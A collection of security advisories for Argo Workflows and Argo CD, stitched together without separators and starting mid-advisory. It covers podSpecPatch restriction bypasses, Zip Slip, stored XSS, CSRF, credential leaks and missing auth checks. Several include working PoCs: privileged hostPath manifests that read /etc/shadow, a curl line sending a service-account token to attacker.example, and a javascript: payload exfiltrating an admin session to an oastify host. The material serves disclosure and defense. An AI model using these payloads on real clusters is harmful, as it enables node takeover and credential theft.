bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: bypass-security- namespace: argo spec: workflowTemplateRef: name: secure-template podSpecPatch: | hostPID: true hostNetwork: true containers: - name: main securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: add: - ALL drop: [] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory EOF
Wait for completion and check logs:
bash BYPASSWF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1) kubectl wait -n argo --for=condition=Completed "$BYPASSWF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASSWF)" -c main
Expected output (all security settings bypassed):
=== Security Context Check === Current UID: 0 Current GID: 0 root:::0::::: bin:!::0::::: [... /etc/shadow contents dumped ...] EXPLOITED: Can read /etc/shadow! EXPLOITED: Host filesystem accessible! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [... host /etc/passwd contents ...] EXPLOITED: Running as root! === End Check ===
The file /etc/shadow is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.
Impact
The purpose of templateReferencing: Strict is to restrict users to only execute admin-approved WorkflowTemplates. This is explicitly documented as a security feature:
You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.
A user who can submit Workflows referencing approved templates can use podSpecPatch to:
- Run containers as root (runAsUser: 0) - Enable privileged mode (privileged: true) - Mount the host filesystem (hostPath volumes) - Share host PID/network/IPC namespaces (hostPID, hostNetwork, hostIPC) - Add all Linux capabilities (capabilities.add: ["ALL"])
This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the WorkflowTemplate.
The templateReferencing feature was introduced in Argo Workflows v2.9.0 through PR #3149.
Mitigation
When templateReferencing: Strict or Secure is enabled, the controller should reject Workflows that include a podSpecPatch field when using workflowTemplateRef.
Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows.
Summary
The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.
Details
Locations in main at 4d9f021 (HEAD 2026-04-23):
Allow-list and reflection scope - workflow/util/merge.go:19-60:
go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale }
func ValidateUserOverrides(userSpec wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... }
The allow-listed type - pkg/apis/workflow/v1alpha1/workflowtypes.go:1207-1217:
go type WorkflowLevelArtifactGC struct { ArtifactGC json:",inline" ForceFinalizerRemoval bool json:"forceFinalizerRemoval,omitempty" PodSpecPatch string json:"podSpecPatch,omitempty" // <-- sink input }
The sink - workflow/controller/artifactgc.go:731-740 reads the user-controlled value:
go func (woc wfOperationCtx) getArtifactGCPodInfo(artifact wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... }
And workflow/controller/artifactgc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:
go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = patchedPodSpec }
util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifactgc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.
The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.
Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifactgc.go:79 HasArtifactGC iterates execWf.Spec.Templates[].Outputs.Artifacts[] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflowtypes.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.
No validation sits between sanitize and sink:
grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.PodSpecPatch" --include=".go" workflow/validate/ (no output)
The merge-package test file added with the fix (workflow/util/mergetest.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.
PoC
Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.
poc/mergeartifactgcpoctest.go:
go package util
import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" )
func TestPoCArtifactGCPodSpecPatchPassesAllowList(t testing.T) { attackerPatch := {"containers":[{"name":"main","image":"attacker/evil:latest", + "command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}], + "hostNetwork":true} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, }
// Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec))
// Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) }
poc/artgcsinkpoctest.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):
go func TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t testing.T) { attackerPatch := containers: - name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYSADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: - name: hostroot hostPath: {path: /} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec)
// Baseline built exactly like workflow/controller/artifactgc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ / AutomountSAToken=true, MinimalCtrSC, limits, etc. / }
patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err)
assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) }
Run:
go test -v -run "TestPoCArtifactGC" ./workflow/util/
Captured output:
=== RUN TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch --- PASS: TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s) === RUN TestPoCArtifactGCPodSpecPatchPassesAllowList --- PASS: TestPoCArtifactGCPodSpecPatchPassesAllowList (0.00s) PASS ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s
End-to-end Workflow manifest (for a live cluster reproduction by maintainers):
yaml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: {name: safe-template} spec: entrypoint: main templates: - name: main container: {image: argoexec:latest, command: [echo, hello]} outputs: artifacts: - {name: artifact, path: /tmp/artifact} --- apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: {generateName: bypass-} spec: workflowTemplateRef: {name: safe-template} artifactGC: strategy: OnWorkflowCompletion podSpecPatch: | containers: - name: main image: attacker/evil:latest command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"] hostNetwork: true volumes: - name: hostroot hostPath: {path: /}
Controller config for the test cluster:
yaml workflowRestrictions: templateReferencing: Strict
With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.
Impact
Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:
- run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYSADMIN], - mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).
This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.
A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Vulnerability Description
Vulnerability Overview
1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call, 2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc, 4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc", 5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993
1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container 2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload 3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal 4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory 5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container 6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring
PoC
PoC Description
1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. 4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory. 5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.
exploit yaml
yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: - name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: - name: etcvol mountPath: /etc inputs: artifacts: - name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: - name: etcvol emptyDir: {}
exploit
1. Create Zipslip <img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" />
2. Upload S3 <img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" />
3. Create Workflow <img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" />
4. Run <img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" />
5. Exploit Success <img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" />
bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
As of v1.5.0, the default admin password is set to the argocd-server pod name. For insiders with access to the cluster or logs, this issue could be abused for privilege escalation, as Argo has privileged roles. A malicious insider is the most realistic threat, but pod names are not meant to be kept secret and could wind up just about anywhere.
Summary
A user with application write access (developer role) can set link.argocd.argoproj.io/ annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.
Details
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
tsx const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='blank'> {parts[0]} </a>
The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.
CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.
PoC
Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, , /, allow).
Step 1 — Set malicious annotation as developer:
bash kubectl annotate application <app-name> -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.
Step 2 — Admin opens Summary tab of the annotated application and clicks the link.
Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:
javascript // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:
json {"iss":"argocd","loggedIn":true,"username":"admin"}
Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
Impact
- Stored XSS — payload persists in the Kubernetes Application resource until manually removed - Privilege escalation — developer role → admin session hijacking via authenticated API calls - Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP) - Any admin or operator who views the Summary tab of the compromised application is affected
Credits
Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de
Impact
All Argo CD versions starting with 2.5.0-rc1 are vulnerable to an authorization bypass bug which allows a malicious Argo CD user to deploy Applications outside the configured allowed namespaces.
Description of exploit
Reconciled Application namespaces are specified as a comma-delimited list of glob patterns. When sharding is enabled on the Application controller, it does not enforce that list of patterns when reconciling Applications. For example, if Application namespaces are configured to be argocd-, the Application controller may reconcile an Application installed in a namespace called other, even though it does not start with argocd-.
Reconciliation of the out-of-bounds Application is only triggered when the Application is updated, so the attacker must be able to cause an update operation on the Application resource.
Limitations
This bug only applies to users who have explicitly enabled the "apps-in-any-namespace" feature by setting application.namespaces in the argocd-cmd-params-cm ConfigMap or otherwise setting the --application-namespaces flags on the Application controller and API server components. The apps-in-any-namespace feature is in beta as of this Security Advisory's publish date.
The bug is also limited to Argo CD instances where sharding is enabled by increasing the replicas count for the Application controller.
Finally, the AppProjects' sourceNamespaces field acts as a secondary check against this exploit. To cause reconciliation of an Application in an out-of-bounds namespace, an AppProject must be available which permits Applications in the out-of-bounds namespace.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.5.8 v2.6.0-rc5
Workarounds
Running only one replica of the Application controller will prevent exploitation of this bug.
Making sure all AppProjects' sourceNamespaces are restricted within the confines of the configured Application namespaces will also prevent exploitation of this bug.
Credits
Thanks to ChangZhuo Chen (@czchen) for finding the issue and for contributing the fix!
References
Documentation for apps-in-any-namespace
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Summary An attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read workflow-controller logs and get credentials to the artifact repository.
Details An attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The workflow-controller logs show the credentials in plaintext.
<img width="1366" alt="screen" src="https://github.com/user-attachments/assets/5642b2be-edcf-4050-bf47-747d05352698" />
Impact An attacker with access to pod logs in the argo namespace can extract plaintext credentials from the workflow-controller logs and gain access to the artifact repository. This can lead to: - Data exfiltration – theft of sensitive or proprietary artifacts - Data tampering – modification of workflows or artifacts - Data destruction – deletion of stored artifacts, leading to potential loss of critical data or pipeline failure
Summary The Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details The ConfigMap-backed provider (server/sync/synccm.go) has no auth.CanI checks:
go // synccm.go — UNPROTECTED func (s configMapSyncProvider) createSyncLimit(ctx context.Context, req syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } - server/sync/synccm.go — lines 23-155 - All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit
PoC Prerequisites
- Argo Server running with --auth-mode=server - Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746
Step 1: Create Sync Limit (Fake Token)
bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
bash kubectl get configmap test-sync -n default
NAME DATA AGE test-sync 1 74s
Step 2: Read Sync Limit (Fake Token)
bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token"
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999
Impact An attacker with network access to the Argo Server can:
1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution 2. Workflow Disruption — Modify existing sync limits to break running workflows 3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration 4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Summary The workflow executor logs all artifact repository credentials (S3 access keys, secret keys, GCS service account keys, Azure account keys, Git passwords, etc.) in plaintext on artifact operation. Any user with read access to workflow pod logs can extract these credentials.
Note: This is an incomplete fix of CVE-2025-62157 Details The logging driver passes the entire ArtifactDriver struct to the structured logger, for example: https://github.com/argoproj/argo-workflows/blob/59f1089b9875723ddffd524513e6bd5cb37e5e31/workflow/artifacts/logging/driver.go#L24
Exposed credential fields: - S3 (workflow/artifacts/s3/s3.go): AccessKey, SecretKey, SessionToken, ServerSideCustomerKey - OSS (workflow/artifacts/oss/oss.go): AccessKey, SecretKey, SecurityToken - GCS (workflow/artifacts/gcs/gcs.go): ServiceAccountKey
PoC 1. Create template yml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: cred-leak-test namespace: argo spec: entrypoint: main templates: - name: main container: image: alpine:3.13 command: [sh, -c] args: ["echo 'hello' > /tmp/output.txt"] outputs: artifacts: - name: output path: /tmp/output.txt s3: endpoint: minio:9000 insecure: true bucket: my-bucket key: test-output.txt accessKeySecret: name: my-minio-cred key: accesskey secretKeySecret: name: my-minio-cred key: secretkey
2. Then check the logs kubectl -n argo logs "cred-leak-test" -c wait <img width="1248" height="322" alt="image" src="https://github.com/user-attachments/assets/a5cf6d66-7d67-408d-8583-27d11ecf1507" />
Impact Any user with Kubernetes RBAC permissions to read pod logs in the workflow namespace can extract artifact repository credentials.
Impact
The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.16 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD.
A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim’s behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code.
Argo CD uses the “Lax” SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request.
Many companies host Argo CD on an internal subdomain, such as https://argo-cd.internal.example.com. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the “Lax” SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API.
Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a “preflight request” for POSTs with content type “application/json” asking the destination API “are you allowed to accept requests from my domain?” If the destination API does not answer “yes,” the browser will block the request.
Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser’s CORS check by setting the content type to something which is considered “not sensitive” such as “text/plain.” The browser wouldn’t send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code).
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
2.10-rc2 2.9.4 2.8.8 2.7.16
🚨 The patch contains a breaking API change. 🚨 The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely.
Workarounds
The only way to completely resolve the issue is to upgrade.
Credits
The Argo CD team would like to express their gratitude to An Trinh of Calif who reported the issue confidentially according to our guidelines and published a helpful blog post to describe the issue. We would also like to thank them for actively participating in the review for the patch.
References
The problem was originally reported in a GitHub issue
Impact
All versions of Argo CD starting with v0.11.0 are vulnerable to a variety of attacks when an SSO login is initiated from the Argo CD CLI or UI. The vulnerabilities are due to the use of insufficiently random values in parameters in Oauth2/OIDC login flows. In each case, using a relatively-predictable (time-based) seed in a non-cryptographically-secure pseudo-random number generator made the parameter less random than required by the relevant spec or by general best practices. In some cases, using too short a value made the entropy even less sufficient. (The specific weak parameters are listed in the References section.)
The attacks on login flows which are meant to be mitigated by these parameters are difficult to accomplish but can have a high impact (potentially granting an attacker admin access to Argo CD). The CVSS for this Security Advisory assumes the worst-case scenario.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.4.1 v2.3.5 v2.2.10 v2.1.16
Workarounds
There are no workarounds. You must upgrade to a patched version to resolve the vulnerability.
References
These are the insufficiently-random parameters:
1. (since 0.11.0) The state parameter generated by the argocd login command for Oauth2 login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide the entropy required in the spec. This parameter is a "recommended" part of the Oauth2 flow and helps protect against cross-site request forgery attacks. 2. (since 1.7.2, when PKCE was added) The codeverifier parameter generated by the argocd login command for Oauth2+PKCE login used a non-cryptographically secure source of entropy. The attacks mitigated by PKCE are complex but have been observed in the wild. 3. (since 0.11.0) The state parameter generated by the Argo CD API server during a UI-initiated Oauth2 login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide the entropy required in the spec. This parameter is a "recommended" part of the Oauth2 flow and helps protect against cross-site request forgery attacks. 4. (since 0.11.0) The nonce parameter generated by the Argo CD API server during a UI-initiated Oauth2 implicit flow login used a non-cryptographically secure source of entropy and generated a parameter that was too short to provide sufficient entropy. This parameter is a required part of the OIDC implicit login flow and helps protect against replay attacks.
Credits
Originally discovered by @jgwest. @jannfis and @crenshaw-dev re-discovered the vulnerability when reviewing notes from ADA Logics' security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Severity: Medium Component: Webhook Interceptor (server/auth/webhook) Vulnerability Type: Denial of Service (DoS)
Description The Webhook Interceptor loads the entire request body into memory before authenticating the request or verifying its signature. This occurs on the /api/v1/events/ endpoint, which is publicly accessible (albeit intended for webhooks). An attacker can send a request with an extremely large body (e.g., multiple gigabytes), causing the Argo Server to allocate excessive memory, potentially leading to an Out-Of-Memory (OOM) crash and denial of service.
Vulnerable Code In server/auth/webhook/interceptor.go: go func (i WebhookInterceptor) addWebhookAuthorization(r http.Request, kube kubernetes.Interface) error { // ... basic checks ... // Vulnerability: Reads entire body into memory unconditionally buf, := io.ReadAll(r.Body) defer func() { r.Body = io.NopCloser(bytes.NewBuffer(buf)) }() // ... subsequent logic finds correct service account and secret ... // ... verification happens later ... } The io.ReadAll call happens before the signature verification loop.
Impact - Service Availability: An attacker can crash the Argo Server, disrupting workflow execution and API access for all users.
